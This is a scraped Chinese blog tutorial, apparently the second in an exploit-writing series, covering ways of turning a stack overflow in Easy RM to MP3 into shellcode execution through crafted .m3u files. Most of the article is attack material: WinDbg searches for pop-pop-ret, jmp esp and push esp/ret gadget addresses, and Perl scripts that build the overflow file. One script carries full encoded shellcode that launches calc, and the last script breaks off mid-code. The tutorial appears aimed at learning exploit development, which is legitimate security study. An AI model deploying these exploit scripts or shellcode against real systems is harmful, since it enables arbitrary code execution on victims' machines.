<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/20/exploit编写系列1-Easy-RM-to-MP3-漏洞调试/index.html | HTML | unknown | 40,984 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/20/exploit编写系列2:栈溢出,跳转至shellcode/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="exploit编写系列2:栈溢出,跳转至shellcode这篇blog是为了学习如何用各种方式去构造栈溢出类型漏洞的exp 执行shellcode的多种方法: jump/call 寄存器 pop return push return jmp[reg + offset] blind return jmp code SHE call">
<meta property="og:type" content="article">
<meta property="og:title" content="exploit编写系列2:栈溢出,跳转至shellcode">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="exploit编写系列2:栈溢出,跳转至shellcode这篇blog是为了学习如何用各种方式去构造栈溢出类型漏洞的exp 执行shellcode的多种方法: jump/call 寄存器 pop return push return jmp[reg + offset] blind return jmp code SHE call">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20201229004417938-1621477705987.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20201231000901339-1621477705987.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20201231004613153-1621477705987.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20210102172628709-1621477705987.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20210112215736411-1621477705987.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20210113231801856-1621477705987.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20210129232150356-1621477705987.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20210131221051399-1621477705987.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20210206000619469-1621477705987.png">
<meta property="article:published_time" content="2021-05-20T02:27:25.000Z">
<meta property="article:modified_time" content="2023-11-17T11:36:43.622Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="exploit编写">
<meta property="article:tag" content="溢出类型漏洞">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20201229004417938-1621477705987.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
exploit编写系列2:栈溢出,跳转至shellcode | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">exploit编写系列2:栈溢出,跳转至shellcode</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-20 10:27:25</span>
<span class="mobile">2021-05-20 10:27:25</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2023-11-17 19:36:43</span>
<span class="mobile">2023-11-17 19:36:43</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/Win%E9%80%86%E5%90%91/">Win逆向</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/exploit%E7%BC%96%E5%86%99/">exploit编写</a>
</li>
<li>
| <a href="/tags/%E6%BA%A2%E5%87%BA%E7%B1%BB%E5%9E%8B%E6%BC%8F%E6%B4%9E/">溢出类型漏洞</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h1 id="exploit编写系列2:栈溢出,跳转至shellcode"><a href="#exploit编写系列2:栈溢出,跳转至shellcode" class="headerlink" title="exploit编写系列2:栈溢出,跳转至shellcode"></a>exploit编写系列2:栈溢出,跳转至shellcode</h1><p>这篇blog是为了学习如何用各种方式去构造栈溢出类型漏洞的exp</p>
<p>执行shellcode的多种方法:</p>
<ol>
<li>jump/call 寄存器</li>
<li>pop return</li>
<li>push return</li>
<li>jmp[reg + offset]</li>
<li>blind return</li>
<li>jmp code</li>
<li>SHE</li>
<li>call</li>
</ol>
<span id="more"></span>
<hr>
<h3 id="1-jmp-x2F-call-寄存器"><a href="#1-jmp-x2F-call-寄存器" class="headerlink" title="1. jmp/call 寄存器"></a>1. jmp/call 寄存器</h3><p>在第一篇中已经详细分析过</p>
<h3 id="2-pop-pop-ret"><a href="#2-pop-pop-ret" class="headerlink" title="2. pop pop ret"></a>2. pop pop ret</h3><p>这个exp我们依然还使用上一篇分析的Easy RM to MP3的漏洞来编写,在上一章使用jmp register 编写exp的时候,我们已经能够调整缓冲区,使ESP直接指向我们的shellcode。但是如果shellcode入口发生偏移比如:shellcode的入口位于ESP+8的时候,我们又该怎么去编写exp呢?理论上,当ESP+offset已经包含shellcode地址,那么只有pop ret这种方法使可行的….如果不是如此(事情往往并非如此),那么也许还有其他方法。</p>
<p>接下来我们尝试采用pop pop ret的方式来重新调整一下shellcode,在上一章的调试中我们已经知道了覆盖EIP需要26067byte,另外在ESP指向的栈地址(0x000ffd38)前还需要4byte。为了模拟出shellcode起始于ESP+8的假象,我们需要构造出一块栈情况如下的缓冲区:</p>
<p>26067xA,XXXX,INT3中断,7NOP,INT3中断,后面放一些NOP。</p>
<p>这样排列我们就可以将真正的shellcode放置于ESP+8后。</p>
<p>先按上面的思路编写一下我们的shellcode</p>
<pre><code class="perl">my $file= "test1.m3u";
my $junk= "A" x 26067;
my $eip = "BBBB"; #overwrite EIP
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\xcc"; #first break
$shellcode = $shellcode . "\x90" x 7; #add 7 more bytes
$shellcode = $shellcode . "\xcc"; #second break
$shellcode = $shellcode . "\x90" x 500; #real shellcode
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
</code></pre>
<p>用Easy RM to MP3打开生成的test1.m3u,中断之后查看一下堆栈,现在中断于EIP我们填写的”BBBB”处,输入<code>d esp</code>查看一下栈的排列,esp指向0x000ffd38处,里面的内容跟我们刚来编写的代码一致:0xCC + 7个0x90 + 0xCC + 500个0x90(shellcode)</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20201229004417938-1621477705987.png" class="" title="image-20201229004417938">
<p>为了让EIP直接跳往EIP+8(我们的payload处),我们需要使用pop ret技术+jmp esp地址来完成此项任务。</p>
<p>一个pop指令可以将栈顶弹出四个byte,我们需要两个pop指令就可以将ESP+8(0x000ffd38+8 = 0x000ffd40),此时再执行ret指令就会将当前ESP的值(0x000ffd40)赋予EIP。如果在此时的ESP(0x000ffd40)处包含有jmp esp指令的地址,那么此时EIP就将会执行jmp esp指令跳转到此时的ESP(0x000ffd40)处,这样的话我们就必须把我们的shellcode放置在0x000ffd40后面的缓冲区中。</p>
<p>接下来我们需要先找到一个可用的pop pop ret指令的地址,用这串指令的首地址来覆盖EIP,然后在ESP+8处放入jmp esp指令的地址,再后面紧跟着的就是shellcode了。</p>
<p>重新打开Easy RM to MP3然后使用windbg附加进程,使用windbg的汇编功能来搜索一下 pop pop ret指令的位置</p>
<pre><code>ntdll!DbgBreakPoint:
7c92120e cc int 3
0:010> a
7c92120e pop eax
pop eax
7c92120f pop ebp
pop ebp
7c921210 ret
ret
7c921211
0:010> u 7c92120e
ntdll!DbgBreakPoint:
7c92120e 58 pop eax
7c92120f 5d pop ebp
7c921210 c3 ret
7c921211 ffcc dec esp
7c921213 c3 ret
7c921214 8bff mov edi,edi
7c921216 8b442404 mov eax,dword ptr [esp+4]
7c92121a cc int 3
</code></pre>
<p>我们可以查到pop eax, pop ebx, ret三条指令对应的机器码为:0x58 0x5d 0xc3</p>
<p>然后我们可以在加载的DLL里面查找包含这三条指令的地址</p>
<p>重新打开windbg并加载Easy RM to MP3</p>
<p>在加载的DLL里面搜索我们需要的指令,这里关于DLL的选择如果每次DLL加载的基址都相同的话我们就选择应用程序的DLL如果每次加载的基址都会改变的话,就选择系统的DLL会更好点</p>
<p>需要注意的是我们选择的地址尽量不要包含有”00”</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20201231000901339-1621477705987.png" class="" title="image-20201231000901339">
<p>现在我们可以使用上面搜索到的地址让我们跳转到ESP+8,现在我们需要在ESP+8处填入jmp esp的地址(前面解释过,ret指令将从这里获取地址,并将其赋值给EIP执行)。</p>
<p>用同样的方法来搜索一下 jmp esp的地址</p>
<pre><code>0:010> s 01940000 l 019b1000 ff e4
01b7f23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$.......
01bb023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff ...M.....T......
01bcd3db ff e4 ca b9 01 20 05 93-19 09 00 00 00 00 d4 bc ..... ..........
01beb22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0 ......W.]...."..
01beb72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26 ...}..7...%#..J&
</code></pre>
<p>此时我们可以将EIP执行到ESP指向的位置了,接下来我们需要用真正的shellcode替换掉原来的500个NOP。</p>
<p>替换后的缓冲区情况如下:</p>
<table>
<thead>
<tr>
<th>AAAAAAAAAAAAAAAAAA…</th>
<th>0x01966a10</th>
<th>NOP NPO</th>
<th>0x01b7f23a</th>
<th>SHELLCODE</th>
</tr>
</thead>
<tbody><tr>
<td>26067</td>
<td>EIP</td>
<td>8 BYTE OFFSET</td>
<td>JMP ESP</td>
<td></td>
</tr>
<tr>
<td></td>
<td>POP POP RET</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody></table>
<p>现在我们构造的exp执行情况如下:</p>
<ol>
<li>EIP被pop pop ret 指令的地址覆盖,ESP会指向shellcode偏移8字节的地址;</li>
<li>pop pop ret被执行之后,EIP会被ESP+8处的(jmp esp)0x01b7f23a指令覆盖,ESP指向shellcode;</li>
<li>由于EIP被jmp esp指令的地址覆盖,因此程序会跳转到shellcode执行。</li>
</ol>
<pre><code class="perl">my $file= "test3.m3u";
my $junk= "A" x 26067;
my $eip = pack('V',0x01966a10); #overwrite EIP
my $jmpesp = pack('V',0x01b7f23a);
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
#my $shellcode = "\xcc"; #first break
$shellcode = "\x90" x 8; #add 7 more bytes
$shellcode = $shellcode . $jmpesp; #second break
$shellcode = $shellcode . "\x90" x 50; #real shellcode
$shellcode = $shellcode .
"\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
</code></pre>
<p>成功的执行了shellcode弹出了计算器</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20201231004613153-1621477705987.png" class="" title="image-20201231004613153">
<h3 id="3-push-return"><a href="#3-push-return" class="headerlink" title="3. push return"></a>3. push return</h3><p>push ret与call [reg]有些相似,如果有个寄存器指向你的shellcode,但是由于某些原因你无法使用jmp[reg]去跳转到shellcode,可以采用:</p>
<ul>
<li>将寄存器地址压入栈中,它将位于栈顶</li>
<li>ret(从栈中获取返回地址,并跳转到该地址)</li>
</ul>
<p>为了实现这种方法,你需要用某个dll中的push [reg] + ret 指令串地址去覆盖EIP。为了直接将使用的shellcode放入ESP中,你首先需要搜索‘push esp’和‘ret’的机器码。</p>
<h4 id="0x00-重新运行Easy-RM-to-MP3并用windbg附加"><a href="#0x00-重新运行Easy-RM-to-MP3并用windbg附加" class="headerlink" title="0x00 重新运行Easy RM to MP3并用windbg附加"></a>0x00 重新运行Easy RM to MP3并用windbg附加</h4><p>用windbg的汇编搜索功能来寻找一段<code>push esp</code>&<code>ret</code>指令</p>
<pre><code>0:010> a
7c92120f push esp
push esp
7c921210 ret
ret
7c921211
0:010> u 7c92120f
ntdll!DbgBreakPoint+0x1:
7c92120f 54 push esp
7c921210 c3 ret
7c921211 ffcc dec esp
7c921213 c3 ret
7c921214 8bff mov edi,edi
7c921216 8b442404 mov eax,dword ptr [esp+4]
7c92121a cc int 3
7c92121b c20400 ret 4
</code></pre>
<p>可以看到指令对应的机器码为<code>54 c3</code>,然后我们可以从加载的dll里面搜索一条可用的指令地址</p>
<pre><code>0:010> s 01940000 l 019b1000 54 c3
019557f6 54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 c0 T..........D$...
01a01d88 54 c3 fe ff 85 c0 74 5d-53 8b 5c 24 30 57 8d 4c T.....t]S.\$0W.L
01a2cd65 54 c3 8b 87 33 05 00 00-83 f8 06 0f 85 92 01 00 T...3...........
01a2cf2f 54 c3 8b 4c 24 58 8b c6-5f 5e 5d 5b 64 89 0d 00 T..L$X.._^][d...
01a2cf44 54 c3 90 90 90 90 90 90-90 90 90 90 8a 81 da 04 T...............
</code></pre>
<p>选择一个地址,构造exp并运行(直接用call [reg]的exp,将eip修改为我们刚找到的指令地址即可)</p>
<pre><code class="perl">my $file= "test_5.m3u";
my $junk= "A" x 26067;
my $eip = pack('V',0x019557f6); #overwrite EIP with call esp
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
